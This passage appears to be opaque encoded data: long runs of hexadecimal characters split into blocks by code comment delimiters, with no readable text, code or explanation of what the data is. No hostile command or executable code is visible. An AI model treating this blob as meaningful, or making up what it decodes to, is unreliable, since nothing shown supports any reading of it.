e3e8872171917ebb4635526f09fa9a5492170e18dbcf0b697e6802028f65be3468edc4fbaf036f1f1f5373f91b9097e12bd04cd3605d5bc0eb578b8343f6417b321e9256ec9c6a3b52c7a0095a926a9b5cf86c88df689013108c52c9119d3627bec73b55f874dc80a9d3e06d17389ef7b91a607bf0f7f9d242c495b4f8cde19f9d28445fc543019815cf12ffb4ee00a3fc5bb35ea6141f1f741d16c6b4e9f8e4a61e81667fa6db8398019a6771c3e92c6274e0db569fa87b700612f92ff437a5282af89a3d3b2c66fe1e4fa46de1ece147418cb00046b576bd03221cfc26747a8bec4c2978dedeb58c62e2fe3e55109be972d93c0aa576707764d629ad8532dbd388551d13e270c5b2fa74c5499f70762accbde0d93cf8212fcd398a4ed5daa64e6ac90bd20ad7622dbe641a9bc7988b07d4b9241601bc5e7749b410716ea1722a17fb0ea25ac3de66e70db015c36de8be9ea5f926b5363ce953bf6c73f7c807aca3ba0c542bdce2f29ab4ca723a58fce333d0834e01fdedf3cbcaefb8b9591a60e3117cb6b20ae4fd29ee58098b0cf606a0ff41883a2c51bdd01f00cd3147f148c6a731594369d5a9877b874d57d409686cf41195b08957c89bba36971b3c8914a4733b2a3b0dacc9feaf2fc51450236615911a508759d4b52c7582b5595f91446763fde9952199046c4d9612beb2bf03bdc05b35ecdf0dad3b363fcb1b6366bf1869071014f028e5571ae634aadca606b05ddf7a3c398535d0eb211adfa5211d9802aa81951e94bc2a9e0dc6746cf43216bcabb18da8380dbcb05b8c0af1d3ab00b0969865302aec1a25d48c66c968d9d81d4aa2c83dd19a49f0b650d6875004a0e7b654f99a630aaab0c39ba2de78003d5eeb07fac3fd5537bbd9dbd90608f5ce8c720d7d4da9f8354483b74773b2899849ad2270f173c5f6835cb006a885ba394f0ca87ae2a45e81a424a16cfda0060301a6158c733b8dd3031a26aa140a13ccb6cf5d2e9eeb7f04a365c1abc520da08c84b94ad1c39f87ebb8eef2367c88f04633b5e6057488cc332452bc0fb18ef4b187d66bf2a1cc2ae22c0130f8789671314176fce8547aa2e2395500eb33025289386379f97b428767047fa064f1c5e81ea9afcdb1fa414066306eba76238380627c7719379e53e0f8862c15657994e80855b795c2520f975b9e743b50a6a2528fd66788f6355b31665d088a52d211dc988435a000bba27819be544154c408dfda8912cd037e399290a71f4f1c805cb721346c743231837552509096c24d8147e7a27eed7ab6ae64f4c6b2502a224532e1c741956cf8720b9f20e8853f37fb6545391a476a810fcee836f887247bfc9aae25aee5b9bdd29e1895a554ccf8d9e736dc4401677d05a7bd3894cb43c9103a848cfab2f2e89e67f02805037ea600c6a2ea6cabc70821f80ec289dbcf6cc8151d6c048b7c03f20d33f9eaaefe3b0facd959a8a2a2cebe30e50805c62b95c4eadee95b1d601997f74fdbcbe7bf8acbed05a26c9d7380465e79d5f9fee7a94445497f539b2f17fe4ad864e2568a722821722efe0f96ab5a5e098c4f8926bcb6fa6c8ff88bba62bdccb89a8b9bfcde4cac6bdca0cc11d428fdbb261abb804c18ada58b3267aa1d13fcde611b339e7851f7de2c4d1fd1459ae1983d34b6ff619d020ca226f956d46d60e866e9aabd326e9b436c24478c363b290c056cde1998dbc32875a9fa6e2b0bbaa41ec540aaff29689539785d576391c08f071d642cf9fb11254675b3257c3f1ff18e9b8be27da02bd4d98e9aaba599de080edae7cacddd0517f8ef4a47926d8b0daf229a75c02f57a45daa2b3c6ee60bf703239585e5aad17bc2b2485496fd2bd9777f78daf36d6aaf88248109facb1439ff737909001875b98cecda9b45dab44020661b11b9872f901c462c81a0788b9646f2fb5a473f888d3b27a0963ea0a1a0a8ee43185b72e2d17de6488643ccd073a10831b38d7b51e443a41af7a5feda7675b635757dfdb5d60a6e10ed95942c4e73301a944e3cf6a691041863e4f85734ca9f51417dff04fa21050f686881a10b7742d7bd1388128e302fa3779ea86f85ca98cd5a82e7edb80b5f45dfde103f2c61f30fa4fe218df236f3c13c6f0fd69da6285188a6fd52258b90394403eef005af837732b3f217e0873ad02c29b07b628b44c2fe85331f256f4e507d7a896fd2d29ecbc38dc292b2df1d8390864d02f851462661b7367d54b8c394b9f8dbac96ba009*/
/*ce95d75acd13fb0a60104f84c3400beb6785ea87cf343de5469b258a61e4f5bea09e0d3eb8b7560caeabd1e3a4d74fdc3df953bbb701ade81f48da49dba2c9ecd45aefc88f850145328179221cf2f939718bf287e2017669c8c9333dfe59386576f590a5197cd53da8dda2388bfae90a3a5659b2e145c09e57d9ae888eab5f89c00b6d2a7f0952a541024f8968f1fcd1f490be8ac10a89474812ba9d7e25a0a0b725fbfe84261e6259cff8bf31541fc914a98fae4f9c2c155d8fdbcca017c198d40210159e776f73feb280619ba78a1d365013fc0cd45e023fb629f862e29c249a929cc8ee1c4d6127341bc1462f5daaa75ffb6a86b2bc17cc80e5c766c06be0558a54150e771c95f6ffd198233ef772c6400e566fc8efd7b16d9a0015bc4594dbdd2caf52c81410f658a740a6e6d0fab06cc273e87e33300e2a3f84b02c062f581081bac2c7b75c1861cd2edbf2145d1263a6a280099173df9f3b4d3deb89b252b377bfad3aaf189a70e09e55b84f7cb464c5013275b0fd39a04d8804ed57e8f2084ed0287c57ea386ef768d2f24d4a085fbb97bdcda97fd00565408e2043820b4b8ea4eab9acbe860e7028dd75817936e42d60005f51ef8f8788fedf0eea31d8740d2d63fef5eadec295765b0739f9b8ef4add27a87d1c36dfd1c2fa1474fca8c6fc1934fd21c7b934f4693249c3a55e671b449635ffc67bea468ec6117f94edfb5d0b8a16a2aa05a51eb1e5d5cd38911ed900422064f4458bc370ac625470603593c490cb0512628e813ef2f0f77800272532042daeb70a5bf0c79ffbf91a5b437d73d2045a6f117d502a3bfe71930de988b853bfc717b9eb82c721dc8df4efb11edc99a3abd3916a70013d30874cbe82a915481954526f10b7100641cb45bd98d97e4020ee6d6d42f69a19cdc87628cb062b9fda555fcbe577cb81ea460b70ca8db6f77808a3d6e3be43e2009c4d098917f5ac1cb23a3c24bba19ad6daea2a7cd97bfa7a701fc6385977982646c90261dd181b6c6d363705fd7fdd07ced1811729d3aa367449fad2a1a3ff0613142e5ba1534fab1bac3382c313853c233748cc7de6bfa34ac10698215668a5bdfc9c480328453c8c0b86872868dba319804ba5eef6acfead4fded74f1faf6a1298d69a087b93c04726552db47dd11bf975e46681fbd526b680a81faf82f00a50651b1d79de970a8f74142220d99896819bc5447e22946bc58cc510ff2ed171d1408f39d2d5120489c4abd3c5133b8977650dd7a92cef0f4c82b32837c3b6934e608229db5d682aaa849780d14ddda115ceb31085f3dac2a4288b5377163af5dbd3c9b26ff89fdf8933594b9e36bed7911bcbb1f5b2fb226d5831a4a5c581c4707a62d6741feb532c2ce3ad8e9c660d9991c849a7d9c42a203ed6eaa076d83cab351944522ea0c59288f18197b328921da418780f26186280308dd0fc5e80acd3ba151d5aa069dbd32b3205fbf9fbe089d18e53b2f024bd12967c461fe2f30d8c9201498f492676c7e999fdcc3d709326de60aceeccba7e00452b74e5af7951d8707cea45756fdd613d4eb59422685c6cf8ce1a546c06b81021ce5a4f656ea6b7ac6dcda8cec68bc6ccb25fb39501a858760ff4499347fba80cf92d8c108e326287f46099856f1174851c33a20f5930ac94d507d12c9875a0efb652c27e8534a8181148115c72cd0d746bb31b0e9fdd309338c9daa0bcba5ea72f5db2444df865bdc5a76cb94adfa054c3df143866c68fef246f848854224a47ed53a9dc6e377ddecb1726bf527e891b4dbebc0070ed01f49a2fed565a2757fb37494a12966dabc4cce7695ad052af57f17896ee61565fb9324c222d31a54919f559f830b6c1210366afe43dc60e213ff40cd02a459f2cba34cf71251903971a46390c77ae1504f768632d34559df71d92d222d942e1e991f6e45cfa2d5669e452f6f76271487751982b00fb569dd91c29a310843472d3faa31632a81e6de6617a7b04d4cb9e0b8c255ec822adf1eb9a63cf4eec2a761e9a67a4298d9db98dbb04330f010bdbdbc97366568c3ecdb6be04ccfcf96acb164705d53f0981defa95af9997fb6126e9eaf8f76c7f89e9227287f543d138a0b8c2ce1c71484015a939053f8cb43ceb33f5b854763c7751434a4e33f5476f0e0809a2ab303b32f88d70efa5663064e729128333ad51745ab4957f3dc35bddb13eaa58b980dd40bd708fa113e2545384a5363fe3b71463909e29ba90683ea0a0dac878ec877df24383f06be204bb2c09dae5c64345c3821ec29a96c1a494c4574a53e1bd98a697fc5bbb91d0b09d24dee2638866411861edd3c65721cb5a1a648200ea9b45b9faa9a6f08e6612b4db2be8ede96e185cac3672dca5bddbcdf107d79319ed558013c1574f567a5c28ff17fda4b2f08bd20bcdd91724ee88e6c52eb5c678d26d5ef180ef28c90f0bd9b5215f7f3b15ac0a74d2ab35d067ad154df20334df6c0a36c493d021eae44a41a9cfb1d30625190f26e0f1783f99a3ad2c3c5ce712ca842e94d2aa1d1a801129ae50261d98124dd6118ad7068f64cf814a2373b94e8a781fa877762c948ed5039456798c19676fd22ea8ddb6a71a235b49096b23b3b6c15a213e653f611cf68cce1f18414c8ce978a144b60ebd7d614023d5ccfe781e4d54bab7287261f170ffb9ac3a7b3eb1264cd4d8a944fe10af89296542d898fbfc35553f9da6c764ce9a6333a9d3e59ca37d703530787152cdc4713498e1d0ecee5e02f557d7b0af556b051f419e0f575da06174cdabfb041856aba43e8384368a2821c60ddbe8ae04a19d435916*/
/*c0706e742f2830f01759d6fbca62b566fcae5182c045e9cc277db2d1fbd8284ede3cd93dbb0aa13463667f6c27ed82e875a4a3555fac5a1122bac202f55a4740ea7cd1077eb99ae5d632748fae9f8c80500654a9d0d87aa6f4cf85c55417a3da0df7d4cff1131d9a18a008edb64a7e3570d2265782133e4d90a8941ba8d5c4cf1c07c9e4489a82ab6fd44578649712c879edbae4fc2321f423b186860b1aace7115c0cd9d81655c1b73eb6a5e44d7bfd1e0ad4a6bd40aa1b5b0c0dfc7c66c723f0fd68b5bfef9d79684a64c792f38eef2241e635f59b339fca3210712bd42f0e82e1d82f155d26f964db54dd91e2df8c766139355f80dbdc7c217fa42c1db35288cc7974677b316eeefec6ff442f6a91b1bcfae7209e6453051815c3fa5d3234313e498360153fd8ff01dac576abcaa0d63deb10a5ace56f8f2e8b6a6c9e87160f23096fd638988f9265f8d8143cd27bfacb1f2427b94c99bc68d983e60721928d68ff2b63b7030b4652e7945e232d314097bb5bbbea6998935ff771bf4710e75f2ff7409bc0565a89b484a6b320b2af0e40f1356e3e1a624cb2b94855534c295fc2aa253569ba0cb74e8813c10cfba75790429a53dfe03f0770cd8fe508767257a076ffefd8808bf6614eb2ec4cd7f08b0a2c6b449ba8815094c363223bfd00cac2bf9f8505b931d7c315d7d808705c9388730d42cf684dbd82c0e1bf26999761b860301bfb3cb0ce127c370eb2131f0575d287987ee503200772eefbf317064db2508dc5885ef8a2c28efee1af07353f467381029acd4a14868d5fad29db27e51d69692d1698dbc7ec7837941c410045408ce498adfd86f4ddbc6eb9bf9e4ed1cc9ff9a1b95bd35134594ac0846d42728ba2fb8119a42e30b41115d5dc0d46719258bf7f6ff5aaf2278c68bf0a1ba35fa490ea301c85a0afc1b7b4dc524c5e13f852023e611dc2d7cd0284b26f67d4f48d6aeaefd9aa83242d57403d2e6e99a7cca7b1191af9825580fe0fac04c9622aca1222b9ee5e696e787929383b9519781027d2666741b9ee421fd67915100e2a5bbf46ba0b5c1e4affbb8620559320df88122391301d192bca2a0aba66dfe801a079c693d750f9dea297f551aadac1d74caf358de1fce4655d023cb9ab68d065840c945fa14317e0053f3f14bbc9a72819cb8401b54429170999c00cada2dc47571e375e96271603b3e0fcf40f54fc35c8fdc6f145fa4bddb0ba1743938636ec49ecd0c2e94a246a5ab8937737f1b388e2811d61a46ea78b90b11e3a471d20a3ec2e32fabd0449c982a1d3686c906c9ec703e9cbb96184c4a8f1874be27f8f983e44a08bffdb44eb758e47ce572df0f6bc0586fa6d52e2b15fc6d1290c54963d7c0d458f3431100d640171f199e9922ee9d939e525deb2c4b1c65269d66760db645a1e20f0350f8e7ac1740c3f5795ef06aa64e2d1a30df6c62c5cadabb8109e92d04b18e43b26ee5e8087ca88a9fb23077e88a0f5383cdbffcdb8a765ae1d9b514ce3843aca2c20a4d022481bf727625b9678ea5b9a027175714985b22a1fcb93d463c12ff5ec225d51137080722389e5af223b0e6ef7352b6f02930048fee47103745052e9afa0654bdae0dc52dbccfa913f144399ceb694af769de2d08ce4ab3300c4787938b1144e8ff3875750e0b8e41c4e75fec7d29d649b49d830c92dbc3012a160ae1ac95836269d7a4e9085b089bbcff9448c931fe5c29bbfa648fc2281e409904166ca02e9536ae693e887cf2242d9b1afe0eddb513a388c96c70439665bbb6d9db0c885bb69ba0313ae5286d81e6566ef2753a3120cedf36a0bffcd94fde4fe68ebc4066536090ec0cf3bc0bccae47972678aa6ced6b1c5bbc444363a33a075e3a6114a65069f92b61f7f57e9d0207f16581ef5270fce9a9c7926c04e3e41fb4a6cd5048f4374dd26beb2652e0ee81f0e8d142b63ed47b8174461bdf6c38378128b146b43c1dc6ee8cd69e705669e3a6e3e81774b239de5cc717fe64f43e90fb4ea37c8ed41fc05e08b0715fbae3e4f320771e217b36d7fba12dd11885b2df829caeb5a7c60d9a44f0169daddf674fc230ca30e7a90a8172a73f5e245531995a0d1b361880b0f290175f9be572aa70ce0fd70892e8cb2015a7b6d13f68dc5029d529092570ac63ce23e3fdcff0395ee277785c1943aa6d2569ffe6815a2e93a7a41f34caf02a5f172d47f5b560bec1a2a56dbe146201414deee7d727b94a32b08ef990a0803299960cf30b005ab3831133411e4b1341812c8a8423263916b99254e1fc52dcc5e963183fad9b575195673db787a562e0a7685e0edb04f109e263377d91206c514cddfe652944484c3927186dd81abb69047216b7c7d86729dc51d4bfb90f7877e634a70ee704a0224506da03dff1f40a6f83a6039e586e94bd2d5135a20eed0d49a89a7ca321c53fa4a6fb6dc2c36ddfaff4a9dc7b2beb48f6e26fb9c0db21611850e74d9adfbe50544a23c3008171839bfeb887c1f15565f54ef16f47305739370ea01a742ea9857e79d3257b16f056b0910dce547e1b6637a573dd6e6237c0488219f27653b8cf40f2a40e8aeac820918d9be00f55a20e697385b81cb2bf69dd67a90361e063e052fa52a3bc3003d7ab93cb4145374e67f4c43995020cccd84ab97a4b7cc8e9311fc0a8d370b3467292fbba03539fa62326654a0b0ca93be54c748b7d77a4f93672600e084b9888bb5202b96929be1e23433500bec5a332c5158636e81caea5af19fd09fb93cfb6fa5f7953940443775a4344137c75bcc761ab4d33b9a5ccc72e39e46595d9b4067cd0cfe39*/
/*0b2e4188a4da6bf7869e93809212a3948c3a49c8855cebec023fbf0fa44a0dfd170cc0974292b02a2d59b6a67a7ecfd5b168be2c09fe68cf61bb4ea6bf4b24a64d578455fe8bbf7ea6fdf1442e12cdb8c7bc6be82f1e9343c02fb892318c7d9bb082f720d5626d655e3ce49128962efb47f7b8cbcdbaf9bcb985f8d3a334f19750fb1da657d50ed81224879a0f90e01c6c64c1e30f0b8671c7667dfbb52d150cf4bd2b7a7251727ee337f5e5e45fcac149a71cb550e72d0006de305e567292b75bb9a3112b85df89d9f640e547e8cd3032c20266612f19601105f26010dcdc93480d5c912040e25edcffadef64a6a4e6ffb9ed3d2b75bbac2c2e943b9539a65a92163c0e9e7937fdd61b1885dba828e1bdd996559a5f43d47afa34a18f290ec14de8c7026f353dee2de70de0fcb787cbde027e001fdbd147f60d2b18ce5a7ac436c69cba164ec7e81db9a4bdfb38fc06fbfd981f6f3887c814240820b8cef13b648ec21c56d4a9eaeb013f1ad6a084003897414532c55ec23cb27fbbc44c8a8a7e6ab3c7836f776375c2a9f3916f5a051c2c2803cbc364eaa771a2655816e1c0394e60a4f5fbe80b11d4f5c152178c3b7b9af3962a99e6576d6109954cd424279b33d721bbbcdb55b4673567cceac1f27392bc21511a07d5fd178b8be1f517fce4f1bb8d2d6822d35ada5e9ff4126e13baa4516f5434b5445b93ef6363b2f786f77dcc5c9319afe0d2e4826ce6e25b88d6f9d193ed0371a1e4dec3794ff029e64f5b4c01d12a1ec1f87d835a595ff666da7371582f092706038d32e6a7891fd349d9ed53f5c08144bcfaa43a357853f569574840a2ba55cea8512b6c8929ccdbc794cbf5dbc48ea6fdd030653cebf4985e64b6d5758af00dc0894f4ed428a1ce34fd20e11e90e00b912847786ae39faa704a580c5ee25dd117826a109c819866bb8c95ff82df1df7f591de49eb117f6a582b47da28f0407a4ca2f34cd6b4d22691fcf0ce50a077e6f109fd0ee29694fc049d82b029e8cc68a0e777cbcff1236170b647ec953e26ff6c7df60c6e3e5a9abf20ae7be91ea359215fc46917dbf809f0f5a86b7b31c5c0d3fe07ed16079ceffcda440094043aa5e8a4fd640e95a7c0f10777c7b58a4e668ba6c991f3f401ad65b5443c152c277adc7de7ddbe43412e63dc3da3d569dacb7cf1a0a2afd473336ecfd1412ca6b9b9560b417fa1a03a3ef8c0630e362de107b08420ffb972b3fef42888fd2a3a4d94e15780f995625775021bab8a87283af6bbcd04df24cd1b5eb31f93968e59ee8724b518fc620228a685db590f6f338f72b2668ff170fdd079fd1b42f14e1f7cc10bbb28280ab517fff0dbce1590e77d59f25aaadcbc89a0aa62b1799e859a293cc6b93043ae0a881bb3f2e7d8666ffc5f79829ef6f9d553c6ac3b3740dad197da483b8b919589222b3b1b89699f2818105a8f31ceb4251ebd167bc856816b487892605ba1b95657a7919d7f3562fcf2cf00abd6e4fa5eebb899a631a9efef43b088ffa3c6163084305ec8c53fc430e29ea9b723993d51acb4e740dc5bfcee35c3e99e98e01b184c03b0dd1f74b25097425b18198aa3ef656968c780913e780bc4013f9edd9dfa3304e4efb90ce0a97ac74c0ece8fba8cb3064e7a1ad0b46116749cd66b22db03dc11e2a9ff9f197fa7322335387ddc93a9f40006ca87a7819d7adf1976c810c7409c8d290c6c7ea4387e082737cb355faf68592f2b65f6b926bd5f53125cf04fd303ca1df3bb847939558c3251b80ddc12c0bbaeb05d9e35a45d013a1b7ad7d08d56c620ef8e6f67804ae442f9781d55c5514cc7a0a77edc91f70efeff2742483ea831d9d6afd05bc70cfb3f9e6def9e01a9bfd28026cc6ac2bd33a676be4bdb75dfc81cf3e29e31dd5e843ad845c0bd38e8e3e7be0969c92169d093d175890103fa590fd6163aac92eb594b0de71a0baf5fc0ad3cde3a88f09d0db9114096698964a321dd847786ad29eb065444270ada1761f04e7b223607f200ff831067e3d3be33f76f748142772bba3fd8f06168d90764df5b02eadac41eb332659578a77f97214f95bc937f57080fc5615c9f0b00b36e57261b76c6ce1130830a29e2b4835031729e6a69c3d5f6ddd9780c340c853ceef0a7057b2a2b5051d9ef7ac5e511e4a091493bc5bb59693a588d0b8820eeb443038da27aebeba8da4e5513f3049b02989bbddda1f13ff01dfc18508946e2959c4b4535a0737c44a019ff61ada42fd836d695d51a74d5818fa32a38e82fb807b9105583af1fcf47439bd012bd6fc15b167e423f906c20994ed0120060cd57e709fb816ebeb51cc600a0d0323377a70c0bfed2640f221019a86fdd78185f566da3c23905b857b386ccbb3a90badbbf170ea392ec3f1f170628dffa4c1f749add30a61c7c7fc12d5ffd1a591dcd1bab4ad1c924759f9c6877f48f812bcf6310365aa5cc92ca5be67dce7fde0724c590e67c0a5a87c70dfa2b5ab15d90ffb817305e2cc7139ccca58e637a7523a45e46a4585c26d3e056e5e05b90710505e33a59e0877863b0505ae0a61f8645a51b5d965bc8d2cbaae1777df8de0862e4311ad0b544f6efeacc3d8ef7d8178b2b70efc7dde4512ad12300c329476a0f5f2b5ccdcd997afc7a15bfc808947a17539ff87472b014ff8771be45256dbdcebda43197c2abe55a30de8c77cbfdf0f6411b716b0381bf205862e61a07456543c88e3606e8cce50e1ffba7d4721f881fed676582ccc19305c76a95f02c5bbb14bb334a295c9faef2ecbb705e73181caec5c67ef7ee2020b75ed0c43d4fb1f27ccf37d594*/
/*6b094cd41faa5ca2cdb5e5af5e8d566a311a7af1bf47fb07074ce2c743eaceb87be1b3cda294cc86466e281bea75506ba7a95dfa4510e83eafce62400495dcac1e3d0c3940cf83fb930b3ad38658f16d37319de24000d7d6c0bb0a672c243e25f0e59ef8f4daafb7547a927ef6c91bcee73489b752033e5aebb6c1c3a07cded2341baeba6f215ff120716c0b0103068dbc2fc57311c620fee95309f8bed6f98606d2e967dd8571af9ef64df50e0b2a22bb2eef1cf72cbf5468e5df643525da84e97cd0d3a510be990f7bb49225acf5fb0d6ecd78c9019c61e5ce31fe1890ed9658163de282be5e092d1ea7300d268d6634748cbaa9ab5b29ed03948139ccefbb5f50fc88294d00bae5f1016feee011ba3c53223b5aceed24493a56e0b115da7b65f86a2426cd2d7e13d2fcdf86b9dee6f8ca1f38bdaf651221650f56f200640c137601241b89bbad4948f796a59c900e959fe0af3838325e4aa225ade3f1e978db3aabd090ac01df696076a17e7103aebdf1be30a1052a34c45a0c71d5bf16acea560d3d99d6b29226ebe06290aced2d5cdc36e2e1bd611cc907be131f087c2e5ce6ad6f5ae66cecbada7edbe51626c5e3c30ff5b2c50994a89d692ad6064723ec6e475923c4c611af51d4566034bc1e1286921a79c5bb59e84ec146eb6b414315d58017a438ce9d848aa34c9955776a505e649e7f2ec74278125412b1f208b2c2958610140ddc9f91babd81dd314b4babca4b41a2566d1259704481d64633772d367b4923b707cd91370e997bf6079634ec7c9de6b74c18411d1905e5ff6ebaca7a915a4e5b59cca029d8ffc8b95ff4207ec6e502dccfe2561bfd201ed54afae7043d2f35329f6446b8d464d2e95d866ea659b788c99464e4caf14652f30da1da90e401922046c5676d191d0b36f350a140cb502e28cd5c28c9f327abc224a11d1dc970f411adbffb2815c25b8349a529bd26eb93353749d31d9ba06bdaeaaee25d0474058c76a9c4d57107d39c90564225404bfa44e4c172bcf32c9f47cd2756a64418830c4d0601d4891ef401c3870e62fc1819d0e501bc61a2f56d0dc2a25a2819e4f69260aa028aca383d7ca20bf776d8bab32d40f21af685867ddb910eefc7c4890095015eb84ccb6ed1f8ba339d01d1b6a9a14b3ed9b7fa04376aed501f89c22649fcf3057bcafa799bff789e57aa743d5cf0a768b2cf6b68fc1afe26d67b9eae2c24c14a1e5758375f474f8891912402465ace2e2023cdde4b1262af131ec51a21ec4a237792afdddb95aacf336cd29a52de43ead86870a6ee55dcaca03b4a65d6d7a96fe7b500e6ff6705ee1c27d45e412cb3177296765474656948f522059215bc4aea04d20f5bca37e9f691deac51a4cacb2ce4e9c1fae036dabbc4b61c2cd06eea42d91d0a6bcb29f6c72e14aefc8c18d7edd73e4e7b70ab866642f75df840093a8eaac4cb06c79a1ca311e53693fa4b1f75d1f77804beab31ef67d8d30fd35dcd1a8103d2980f2666a85afbf026909d0cc4248d4d1c7e34583ee646ed5d73de52640caba0f10cdee045a456c940caa1b48947e7c9c4479f40d39d80b712e5996f4c4ab61156efb3ee6a89991b4d9ae725b7ff66f46f0657a84e5bc9f1375d499d025834fa60b13aac5985ac0cd18b72a1e8d145216b5c0e9519c6fb2c3e6e8ba6aeadca4c76b5f43066a019ea4a684ca3392bee09ad6ec41d74a11aa2b1a9a90173887816effc1561ec0d8fb8cb36e9433847b81bf930310cab5113508bc81a6fed5020bd7271227815621cb1a3afea8049c99357642d00bf072c6848f531228bca63dcbf6b3721622198cdcd748906bfc3fe5af3da1ae34195ee4ddb55437ca28d9ee127218c4010f2c2fbddc5a33213189401098b4010e005f24932e35980c90fec3032b7d136eda816521ddd067570ba09dedc6d17d4d415a7c8486e76884243c280b069f83871496e86be8aee829cf58786f220b8327626d527f0d99f6f98d59cbecd8c2c9684d38b244c984336dd94a090fa2ae34d99f1ac45249c87e832cd1df8da56292670167c2bdf5f21ef7cb1529fe15445490a0867d7a09ba4b177ba21a1c260815fdbbce6b74c9e0bcc2ccb0655326b60332f2b8c8019f79436c8afd5dbdf075e71ca879e85a7aa0786efe75cf69ca548a81f643196b610fd221ed25d8036af1e8b37dfbe5407cfa0ca92c81b2cf0eeddb6b1792d21ee0407dfdfb894881ac3c724fb224925234091b51549b01ca5da658c9534e7620cc32c09c3cf4b0c5098878cf4a68c0da7659c824f4abedc0e8e6a76fb42f1a6a1f19a25efcb4288b36e6400f6eae85d6fce404ca42dbcd424667675c0618e0a3743f3494a8ec11c6261a78a18a6512f5bc1ed2b53a98ba2fcbc6518f147b2c670a6d7432a8ba610ad9f6d366a96a128a590ddbee6ace7a875551dd9c74f92f62fbca926ff7abc556a07aea63e60855f9f539f8980a3df40cece8fa647acfdbf0cf2cbe384c005588b83ecc93480ab0f3dc9d0e5261355b97ccd3bcd7fcf105072006a81f1e4a088626209f678f5d0343bebd79d9e8ae59a7fed2f6503796e53de95a69aa7d6036821793e2f446b7b8d0de79aa16516e070d0229b005bedab98ee7eace9b1c1e2d14e72779f632b635c7f853309e3acd9c2e73b04955846223a1bdfee891bb5096896aa6eccef7f4b8c77a75b982010718810a29c8a5aaf5418183e11a90202b39f7d819e8f1ec744c9b09faa6f60781c4651aa59b1767b10e28c37011cebe11d8fbe0ab00ed0abb4bf6fc3d641c28305a56427fabe715c3bd49701e4c25ebacc66d80aae333154*/
/*ec2631b25f7d324186b6d2966a24edafb81e32394b0e92000bbcecc38decd018162936c640cc58261196866083dc3524f4e52e951d65e9ff2d194a77feb45ad021aa771966cc0a8624b9b92a85796b693b4d90c5903eaadec4b80d592a395f7ffe898e00625e8e7572a1245c7e289e9f2ce5437e394026e30dd25053c678c58c2b84a2daad673c39e592f34ecfdbe42098332fdab127b97dc7a8da3b3fcafb9ae4d5d389c63ea1cf15064c49a3f083680b68fe67ffe779e0941e1e39cd0df1bf3854b70482dc2c8c4df176aba5faaa2dd69a77f7ee0cb6c3af5cdfc9f6a2a490de5ef5cffc382e0dd1f08249a0c547d46e3fdc4f80f0a47f058d596bf178d31e4c6c8ac5cd667ffec308981a77a513a9af9b0ff34506b02dab7afe843100892421bd99b7449f9f6e3f93b1bd5651594af9698bfaeb7888287243e57ea27abf547d616d1fe9f806fa60281ed5575553b1b91314e5e26127b0dd7f9118322e36c4745d3277892925a883934b61e403a1e49f3ad51ea6399d46f5ea949a9b77a4131fa7290dcad453e2dd4f14f1ff53f27b76ebbad481ea4b2e010628fdd54d68937a6dbe623b29f1788146724ae30066e28e84113e5dc40c04c45a04bf2161d48c0560bef2174f5acf70dcde53f859064332715761a90e4a96fe0b30be88a52b0c5376264d70cb43c1fcc9f25b7c2d6f362e8b134af94cd8793409974f54c6e8e1e8b6a8ae5ee940d15f6f5a876bbec16c6241ff58ee0e167eb138807b72ac38bc409cc3b74ff12d96d827d8078f4030dd88aa34cb3ce19c9ca33bbb890997b3dde441b4142e2cfa87ed2e6dadbc8b1f14270a40ac18cc4f6e4c406f9d19a5b6cb732b86b9d60e0ddde171198b72f8983d2019eb3bb2822631da218519bfbb7bc334a987e558c271ab84d5e6954d8ac7c531a97d1b0b5f2bea55b37ecc57818c099b1500ce34f64686d70c77f4bd3f39c7b4ac59cf93771f89458eeeee37a9dc8b5a85891a1ec00827aed107b8857922bfbf76d8f659a66b00862dea5b018e88a789fcc267c484c28208de8e6ec5c588873daf0d6a3b89e7fa983bd38f38421bf0dec165515d2e41c7ca9948de7e61c7a9301eb6af7a5ca9a2597dc25457e6ce97716f4cd848b2b7b852fd7a8fb2ea08d90fe8ab4e3c92664a96544079c679ac356c63f51993f8282d0da9711e277f71f117e80fead1c11ae13e8b005b88753f12ac1617538eed6918b4fb61d51ed8c7cf1f435e32c77b72f3483733fc8ac63f03968ebb95249d73b69c731f01c55d89ad5860c214ad6509d0e1c0cb7fca531f9dc3545a58c53441122c37c6f4ad6551bfd34ba9586445c95ff9c9fdc0414ec793cecd7a68b3b13d9ad39cb11a85b068a4a526b3610a330406f47c9f3ebe946fa5c7b1d081d1c5e444be6377decae48714dd2da7f594beb385809dd130a30d8654262a8d48532241cff6830a85afb68090cf00f3525246f6cc34b07fba0dd8c2a5395c796a1a8e9c0d13563e1045008407de86d11b09be268cc05a6f1a392256dba4a056b41cf76421a29dccfb3f4a85b253520c9c3fb04a6d84556bfb3ba6da1ce8c1869122c91e07748b6e570d93c1b80253ef969a21b5aab48af789d004d1f4e29b7b5c6b6d23d54ba93d32cc89e23711589c35c4fab8b7a83ce40f4d9ccd1355ac1f77af509dea82fe1388626dd59cfcddf582394f938534b901f54eec557247e4c2e4c3c0197c4821d0c4ef6c8f65b21f231bb2f223c906a0e9251562e0615ed86ec57c585c50807fba353885bbe5df1dd329d5928e17f1ad39048a9aff6e690991fd721b8be49f4856b4b3240ff89c861bf51f264247ae0e5c86b2086ac7b1066f3d20cd4d8ee2b4a66ad7d74f48ef44e33ec49c13a16018540bf89a0450e7d813b341c52141c4946a68cfd487cae234c4e0aea92233440c64026346d11aeabb3f7aca050d407c233c2b2c25344ea33b5dde300fb0e808530eab1cdd38bb5dbbc8bdebdab865043f5cac44d15cf33bc6304fad1b3711c24390343b6c94687dd5b140e73d7c540264cee20f7770a905b6c0be2ea5cb7907e7a8aa061219d15be7dc20808a5e90066db8a25d44c69025722a38215144c0e96423f876bbe32e92768e9e5259c2611ec5501f865f87e7ee4511b18246a2f1941dfff5eb6e70351bf1c7d84b72f9d0a6b61f905c40611f0958a0cf25f281d28d3738240bca139be378ca2d8a1fbe49201b7a17e3de2234c238e9989eb7dc27177edbc400d3615c1995281eff69d9d346f9cb1803ae29bead10c80d2925ebb77285ab5142aa7dddd05edcc7a1d6d5f4ace1e6069c30f9c97521246e3163cd96ec1f1515b9befc6aa8bb2cc830d2bd4dd2027389bbb5791faefec330e00fd5fa71f8e83acd00d30c0458bea52cf6e2e38707357fe26e2feb54f2e5b26df327e094945c3c1d19fd1e191ee0e07694f30e05364563b41636f8902a7291403820f1aecb1fe4b3b97743801d49c1e4d43d580d6e4cb9b1016d28795da123db446d8af595208e957544919ba7f6394d71e6eaba55b32086b5d19a9eee9347abfe81b421711a54dc45f5d0971e4e3c97a89bc3375291a5cf7722ec263b0b906d878e44822688424f40082dd95a30e717e5a56c41956875aacdcddfe94607082bd71db85d47e6711ade67c8712d749